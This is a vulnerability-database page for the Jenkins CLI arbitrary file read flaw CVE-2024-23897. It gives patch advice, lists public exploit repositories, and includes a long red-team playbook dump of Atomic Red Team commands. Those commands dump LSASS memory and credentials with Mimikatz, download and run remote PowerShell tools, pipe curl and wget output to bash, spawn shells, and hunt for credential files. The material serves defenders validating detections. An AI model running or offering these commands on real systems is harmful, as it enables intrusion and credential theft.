CVE-2024-23897
Overview
This vulnerability is an arbitrary file read flaw rooted in the Jenkins CLI command parser. The parser incorrectly processes arguments containing an '@' character followed by a file path by replacing this pattern with the contents of the referenced file. This behavior occurs because the feature intended for local file content injection is not disabled by default, affecting Jenkins controller components handling CLI commands.
Vulnerability Description
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Impact
An unauthenticated attacker can exploit this vulnerability to read arbitrary files on the Jenkins controller's file system, potentially exposing sensitive configuration files, credentials, or other critical data. No authentication or user interaction is required to trigger the flaw, enabling remote information disclosure. This exposure can facilitate further attacks such as credential theft, privilege escalation, or lateral movement within the affected environment, leading to significant data breaches and operational compromise.
Solution
Apply the official Jenkins security update as detailed in the vendor advisory SECURITY-3314 available at https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314. Specifically, upgrade Jenkins to version 2.442 or later, or LTS 2.426.3 or later, where the CLI command parser's '@' file path replacement feature is properly disabled by default. Follow the advisory instructions for patching and verifying the fix in your deployment environment.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Jenkins | Jenkins | All |
cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
|
|
|
Jenkins | Jenkins | All |
cpe:2.3:a:jenkins:jenkins:*:*:*:*:-:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Jenkins cli Ampersand Replacement Arbitrary File Read
auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
|
h00die, Yaniv Nizry, binganao +2 | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Jenkins 2.441 - Local File Inclusion | Matisse Beckandt | webapps | java | - | View |
GitHub PoCs (53)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
h4x0r-dz/CVE-2024-23897
CVE-2024-23897
|
h4x0r-dz | 209 | 36 | 2024-01-26 | View |
|
binganao/CVE-2024-23897
|
binganao | 101 | 9 | 2024-01-26 | View |
|
xaitax/CVE-2024-23897
CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 PoC and scanner.
|
xaitax | 81 | 27 | 2024-01-26 | View |
|
wjlin0/CVE-2024-23897
CVE-2024-23897 - Jenkins 任意文件读取 利用工具
|
wjlin0 | 86 | 10 | 2024-01-27 | View |
|
godylockz/CVE-2024-23897
Proof of concept for CVE-2024-23897: Jenkins arbitrary file read
|
godylockz | 46 | 5 | 2024-02-16 | View |
|
kaanatmacaa/CVE-2024-23897
Nuclei template for CVE-2024-23897 (Jenkins LFI Vulnerability)
|
kaanatmacaa | 23 | 6 | 2024-02-04 | View |
|
Vozec/CVE-2024-23897
This repository presents a proof-of-concept of CVE-2024-23897
|
Vozec | 18 | 3 | 2024-01-28 | View |
|
Maalfer/CVE-2024-23897
Poc para explotar la vulnerabilidad CVE-2024-23897 en versiones 2.441 y anteriores de Jenkins, mediante la cual podremos...
|
Maalfer | 14 | 4 | 2024-05-16 | View |
|
verylazytech/CVE-2024-23897
POC - Jenkins File Read Vulnerability - CVE-2024-23897
|
verylazytech | 11 | 7 | 2024-09-30 | View |
|
P4x1s/CVE-2024-23897
CVE-2024-23897 jenkins-cli
|
P4x1s | 15 | 2 | 2024-01-27 | View |
|
jenkinsci-cert/SECURITY-3314-3315
Workaround for disabling the CLI to mitigate SECURITY-3314/CVE-2024-23897 and SECURITY-3315/CVE-2024-23898
|
jenkinsci-cert | 7 | 2 | 2024-01-23 | View |
|
10T4/PoC-Fix-jenkins-rce_CVE-2024-23897
on this git you can find all information on the CVE-2024-23897
|
10T4 | 5 | 2 | 2024-01-27 | View |
|
yoryio/CVE-2024-23897
Scanner for CVE-2024-23897 - Jenkins
|
yoryio | 6 | 0 | 2024-01-27 | View |
|
viszsec/CVE-2024-23897
Jenkins POC of Arbitrary file read vulnerability through the CLI can lead to RCE
|
viszsec | 6 | 0 | 2024-01-29 | View |
|
GraySignal/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an...
|
GraySignal | 3 | 1 | 2024-02-07 | View |
|
ThatNotEasy/CVE-2024-23897
Perform with massive Jenkins Reading-2-RCE
|
ThatNotEasy | 3 | 1 | 2024-02-19 | View |
|
Praison001/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an...
|
Praison001 | 3 | 1 | 2024-02-07 | View |
|
D1se0/CVE-2024-23897-Vulnerabilidad-Jenkins
|
D1se0 | 4 | 0 | 2024-12-08 | View |
|
Ap0dexMe0/CVE-2024-23897
Perform with massive Jenkins Reading-2-RCE
|
Ap0dexMe0 | 2 | 1 | 2024-02-19 | View |
|
murataydemir/CVE-2024-23897
[CVE-2024-23897] Jenkins CI Authenticated Arbitrary File Read Through the CLI Leads to Remote Code Execution (RCE)
|
murataydemir | 1 | 2 | 2024-05-07 | View |
|
wvverez/CVE-2024-23897
「🤵🏻」PoC for CVE-2024-23897 Jenkins Reading internal system files.
|
wvverez | 2 | 0 | 2026-01-18 | View |
|
vmtyan/poc-cve-2024-23897
|
vmtyan | 2 | 0 | 2024-01-26 | View |
|
Fineken/Jenkins-CVE-2024-23897-Lab
|
Fineken | 2 | 0 | 2025-07-24 | View |
|
AbraXa5/Jenkins-CVE-2024-23897
PoC for Jenkins CVE-2024-23897
|
AbraXa5 | 1 | 1 | 2024-02-01 | View |
|
dheeraj-jayaswal/CICD-Goat-Vapt-Writeup
Full VAPT writeup of OWASP CICD-Goat — 9 CTFd flags captured, 4 critical + 5 high findings (incl. CVE-2024-23897) mapped...
|
dheeraj-jayaswal | 1 | 0 | 2026-07-31 | View |
|
jopraveen/CVE-2024-23897
|
jopraveen | 1 | 0 | 2024-01-29 | View |
|
Marouane133/jenkins-lfi
Jenkins CVE-2024-23897 POC : Arbitrary File Read Vulnerability Leading to RCE
|
Marouane133 | 1 | 0 | 2025-01-02 | View |
|
Nebian/CVE-2024-23897
Scraping tool to ennumerate directories or files with the CVE-2024-23897 vulnerability in Jenkins.
|
Nebian | 1 | 0 | 2024-02-21 | View |
|
JAthulya/CVE-2024-23897
Jenkins CVE-2024-23897: Arbitrary File Read Vulnerability
|
JAthulya | 1 | 0 | 2024-05-03 | View |
|
CyberCTF/vulhub-jenkins-cve-2024-23897
Vulhub jenkins/CVE-2024-23897: Jenkins CLI Arbitrary File Read (CVE-2024-23897), run with Isoloom
|
CyberCTF | 0 | 0 | 2026-10-08 | View |
|
Alexandertanay/jenkins-cve-2024-23897-lab
|
Alexandertanay | 0 | 0 | 2026-09-27 | View |
|
MachiavelliII/CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
|
MachiavelliII | 0 | 0 | 2026-08-28 | View |
|
razureink/cve-2024-23897-jenkins_lfi_reproduction
Reproduction of cve-2024-23897-jenkins_lfi_reproduction
|
razureink | 0 | 0 | 2026-07-24 | View |
|
Dungsocool/CVE-2024-23897
|
Dungsocool | 0 | 0 | 2026-07-20 | View |
|
rivaedoardo62-boop/cve-2024-23897-jenkins-poc
Self-contained Docker reproduction and analysis of CVE-2024-23897, the Jenkins CLI arbitrary file read via the args4j @-...
|
rivaedoardo62-boop | 0 | 0 | 2026-06-16 | View |
|
w41l3r/jenkins_scan
Find jenkins environment and checks for CVE-2024-23897
|
w41l3r | 0 | 0 | 2026-04-23 | View |
|
cc3305/CVE-2024-23897
CVE-2024-23897 exploit script
|
cc3305 | 0 | 0 | 2024-07-28 | View |
|
classic130/CVE-2024-23897-Jenkins-4.441
|
classic130 | 0 | 0 | 2025-07-29 | View |
|
amalpvatayam67/day03-jenkins-23897
Jenkins CLI arbitrary file read (CVE-2024-23897)
|
amalpvatayam67 | 0 | 0 | 2025-09-10 | View |
|
hybinn/CVE-2024-23897
|
hybinn | 0 | 0 | 2025-10-06 | View |
|
aadi0258/Exploit-CVE-2024-23897
|
aadi0258 | 0 | 0 | 2025-10-26 | View |
|
ShieldAuth-PHP/PBL05-CVE-Analsys
CVE-2024-23897 분석
|
ShieldAuth-PHP | 0 | 0 | 2024-09-09 | View |
|
r0xDB/CVE-2024-23897
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an...
|
r0xDB | 0 | 0 | 2024-01-28 | View |
|
tvasari/CVE-2024-23897
Jenkins CLI arbitrary read (CVE-2024-23897 applies to versions below 2.442 and LTS 2.426.3)
|
tvasari | 0 | 0 | 2025-04-04 | View |
|
harekrishnarai/CVE-2024-23897-test-windows
|
harekrishnarai | 0 | 0 | 2025-11-11 | View |
|
vmc8ll/poc-CVE-2024-23897
CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE
|
vmc8ll | 0 | 0 | 2026-03-03 | View |
|
pulentoski/CVE-2024-23897-Arbitrary-file-read
Un script realizado en python para atumatizar la vulnerabilidad CVE-2024-23897
|
pulentoski | 0 | 0 | 2024-02-20 | View |
|
slytechroot/CVE-2024-23897
Jenkins RCE Arbitrary File Read CVE-2024-23897
|
slytechroot | 0 | 0 | 2025-03-23 | View |
|
brandonhjh/Jenkins-CVE-2024-23897-Exploit-Demo
|
brandonhjh | 0 | 0 | 2025-03-28 | View |
|
WLXQqwer/Jenkins-CVE-2024-23897-
|
WLXQqwer | 0 | 0 | 2024-02-04 | View |
|
Surko888/Surko-Exploit-Jenkins-CVE-2024-23897
Un exploit con el que puedes aprovecharte de la vulnerabilidad (CVE-2024-23897)
|
Surko888 | 0 | 0 | 2024-05-26 | View |
|
B4CK4TT4CK/CVE-2024-23897
CVE-2024-23897
|
B4CK4TT4CK | 0 | 0 | 2024-02-13 | View |
|
ifconfig-me/CVE-2024-23897
Jenkins Arbitrary File Leak Vulnerability [CVE-2024-23897]
|
ifconfig-me | 0 | 0 | 2024-02-16 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 182 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
123 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
